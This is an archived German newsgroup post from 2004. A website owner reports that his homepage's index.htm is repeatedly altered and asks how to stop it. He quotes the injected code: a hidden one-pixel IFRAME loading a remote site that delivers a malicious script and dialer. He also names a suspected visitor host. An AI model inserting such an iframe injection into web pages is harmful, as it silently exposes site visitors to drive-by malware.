Hackerangriff? mit Dialer auf meiner Homepage

Tech Tip: Click here to run a free scan for Windows Errors and optimize PC performance

From: Roland Rüeger (NOSPAM_roland.rueeger_at_bluewin.ch)
Date: 04/27/04 

Date: Tue, 27 Apr 2004 16:21:08 +0200

Liebe Newsgroup

Seit Sonntag wird www.erfolgswelle.ch von einem Hacker
angegriffen, dabei setzt dieser im index.htm einen Code ein,
der ein böswilliges Skript ausführen will und einen Dialer öffnet.

Skript von Antivir erkannt als:
TR/runAdo.DLD.1

Code der integriert wurde:
<IFRAME SRC="http://www.b00gle.com/fa/?d=get" WIDTH="1" EIGHT="1"></IFRAME>

Wie kann ich das unterbinden?

Mit Frontpage habe ich nun festgestellt wann die Indexseite
zuletzt geändert wurde (27.04.04 um 00.04 Uhr)
und in der Statistik konnte ich feststellen das dann nur ein
Besucher auf der Homepage war:
IP: p62.246.100.140.tisdip.tiscali.de

Da vielleicht noch andere von diesem Phänomen betroffen
sind oder waren, habe ich mich dazu entschlossen, dies
in dieser Group zu veröffentlichen.

Passwort habe ich nun schon dreimal geändert, und ausser
mir und dem Besitzer der Homepage ist dieses niemandem
bekannt.

Danke für Eure Unterstützung im vorraus.

MfG Roland Rüeger

Relevant Pages